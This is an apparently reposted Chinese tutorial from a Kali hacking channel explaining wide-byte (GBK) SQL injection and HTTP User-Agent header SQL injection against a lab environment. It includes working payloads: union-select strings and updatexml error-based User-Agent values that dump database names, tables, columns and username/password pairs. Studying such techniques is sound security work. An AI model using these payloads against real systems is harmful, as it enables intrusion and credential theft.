sql注入(宽字节/HTTP Header篇)
Posted kali黑客教学
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入(宽字节/HTTP Header篇)相关的知识,希望对你有一定的参考价值。
sql注入(宽字节/HTTP Header篇)
宽字节篇
注入原理
在magic_quotes_gpc=On
的情况下,提交的参数中如果带有单引号’
,就会被自动转义’
,使很多注入攻击无效,
GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE
,尾字节对应0×40-0xFE
(除0×7F),刚好涵盖了转义符号对应的编码0×5C。
0xD50×5C
对应了汉字“诚
”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c
经URL解码后为“诚
”。
下面分析攻击过程:
/test.php?username=test%d5′%20or%201=1%23&pwd=test
经过浏览器编码,username参数值为(单引号的编码0×27)
username=test%d5%27%20or%201=1%23
经过php的url解码
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23
(为了便于阅读,在字符串与16进制编码之间加了空格)
经过PHP的GPC自动转义变成(单引号0×27被转义成’对应的编码0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#
上面的SQL语句最终为:SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;
注释符#后面的字符串已经无效,等价于
SELECT * FROM user WHERE username=’test诚’ or 1=1;
条件变成永真,成功注入。
补充:
0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该都可以。
手工注入
开启漏洞环境,并用burp
抓包
爆出数据库
%df' union select 1,database() %23
爆出表
%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database() %23
注意:这里列出了四个
users
表,意味着该表下面有四个字段
爆出数据
查用户
%df' union select 1,username from users where 1=1 limit 0,1 %23
查密码
%df' union select 1, password from users where 1=1 limit 0,1 %23
什么是Http Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent
、accept
字段等等。
会对客户端的http header
信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑
则可能会导致基于http header
的SQL Inject
漏洞。
基于user-agent字段
验证
在user-agent
字段后输入'
效果如下
爆出数据库
User-Agent: 1'or updatexml(1,concat(0x7e,(database())),0) or'
爆出表
User-Agent: test001' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or'
爆出列
User-Agent:test001' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'
爆出内容
User-Agent:test001' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'
其他
由于微信压缩的缘故,上传的图片不清晰,请点击阅读原文,查看大图。
更多教程 扫码关注
低调QQ三群
(长按扫码即可加入)
bbskali.cn(kali论坛)点击阅读原文 快速访问
以上是关于sql注入(宽字节/HTTP Header篇)的主要内容,如果未能解决你的问题,请参考以下文章